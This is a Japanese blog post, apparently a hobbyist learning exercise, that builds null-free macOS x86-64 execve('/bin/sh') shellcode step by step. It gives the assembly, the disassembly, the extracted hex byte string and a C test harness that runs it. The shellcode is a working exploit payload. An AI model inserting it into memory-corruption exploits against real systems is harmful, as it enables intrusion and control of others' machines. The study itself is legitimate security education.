MacOS用のシェルコード を書いてみた

一度シェルコード を書いてみたいと前から思っていたので、今回書いてみようと思います。

Linux用のシェルコードはこれまでに何度か見たことがあり、MacOS用に書くならどう書くのだろうと気になったので、今回はMacOS用のシェルコードを書いてみます。

実行環境

  • macOS Catalina v10.15
  • nasm 2.14.02
  • gcc 4.2.1

アセンブリコードの作成

まずは、シェルを起動するアセンブリを書きます。プログラムの実行はexecveを使うことで行えるので、これを使ってシェルを起動します。

; shellcode.asm

  global _main
  global start
  section .text

start:
  ; execve("/bin//sh", {"/bin//sh", NULL}, NULL)
  ; => rax: 0x200003B
  ;    rdi: "/bin//sh\0"
  ;    rsi: {"/bin//sh\0", 0}
  ;    rdx: NULL
  xor rdx, rdx                ; clear rdx
  push rdx
  mov rax, 0x68732f2f6e69622f ; /bin//sh
  push rax
  mov rdi, rsp                ; rdi = "/bin//sh\0"
  push rdx
  push rdi
  mov rsi, rsp                ; rsi = {"/bin//sh\0", NULL}
  mov rax, 0x1ffffff          ; rax = 0x200003b - 0x3c = 0x1ffffff
  add rax, 0x3c               ; rax = 0x200003b
  syscall

このアセンブリは以下のことを行っています。

  1. rdx同士の排他的論理和をとって、rdxを0にします。
  2. 0と/bin//shという文字をスタックにプッシュします。
  3. rdiにスタックの先頭のアドレスをコピーします。これにより、rdiは/bin//shという文字列になります。
  4. 0とrdiをスタックにプッシュします。
  5. rsiにスタックの先頭のアドレスをコピーします。これにより、rsiは{"/bin//sh", NULL}という配列になります。
  6. raxにexecveのシステムコール番号である0x20003Bをセットします。
  7. システムコールを行います。

下の図はスタックの様子を表したものです。アドレスは実際のものと異なりますが、状態は同じです。

f:id:miso_24:20191013023901j:plain
スタックの様子

システムコール番号を直接raxに入れるとNULL文字が入ってしまうので、あえて0x1FFFFFFを代入し0x3Cを足すことで、目的の0x200003Bをraxにセットしています。

シェルコードの作成

nasmでアセンブリからオブジェクトファイルを作成し、リンクして実行ファイルを作成します。

$ nasm -f macho64 shellcode.asm
$ ld -macosx_version_min shellcode.o

リンクしてできた実行ファイルをobjdumpを使ってディスアセンブルします。

$ objdump -d ./a.out

./a.out:    file format Mach-O 64-bit x86-64

Disassembly of section __TEXT,__text:
__text:
    1fde:   48 31 d2    xorq    %rdx, %rdx
    1fe1:   52  pushq   %rdx
    1fe2:   48 b8 2f 62 69 6e 2f 2f 73 68   movabsq $7526411283028599343, %rax
    1fec:   50  pushq   %rax
    1fed:   48 89 e7    movq    %rsp, %rdi
    1ff0:   52  pushq   %rdx
    1ff1:   57  pushq   %rdi
    1ff2:   48 89 e6    movq    %rsp, %rsi
    1ff5:   b8 ff ff ff 01  movl    $33554431, %eax
    1ffa:   48 83 c0 3c     addq    $60, %rax
    1ffe:   0f 05   syscall

start:
    1fde:   48 31 d2    xorq    %rdx, %rdx
    1fe1:   52  pushq   %rdx
    1fe2:   48 b8 2f 62 69 6e 2f 2f 73 68   movabsq $7526411283028599343, %rax
    1fec:   50  pushq   %rax
    1fed:   48 89 e7    movq    %rsp, %rdi
    1ff0:   52  pushq   %rdx
    1ff1:   57  pushq   %rdi
    1ff2:   48 89 e6    movq    %rsp, %rsi
    1ff5:   b8 ff ff ff 01  movl    $33554431, %eax
    1ffa:   48 83 c0 3c     addq    $60, %rax
    1ffe:   0f 05   syscall

ちゃんと機械語になっていることがわかります。あとは、機械語の部分を取り出せばシェルコード の完成です。 できたシェルコードは34バイトでした。

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\xff\xff\xff\x01\x48\x83\xc0\x3c\x0f\x05

私は、objdumpの結果から手動で上のシェルコードの形にしたのですが、もっといい方法があると思います。

シェルコードを実行してみる

__attribute__((section("__TEXT,__text")))
char shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\xff\xff\xff\x01\x48\x83\xc0\x3c\x0f\x05";

int main() {
  (*(void (*)())shellcode)();
}

1行目の__attribute__((section("__TEXT,__text")))でシェルコード をtextセクションに配置して、実行できるようにしています。これがないとbus errorが発生しました。

gccコンパイルし、生成された実行ファイルを実行すると見事にシェルが起動します。

$ gcc main.c
$ ./a.out
sh-3.2$

まとめ

MacOS用とは言うもののシステムコール番号以外の部分はLinuxと同じだったので、あまり書くのに苦労しませんでした。 今回はシェルを起動するだけだったけれど、もっと多くのことができるのでいろいろ試したいと思いました。

参考リンク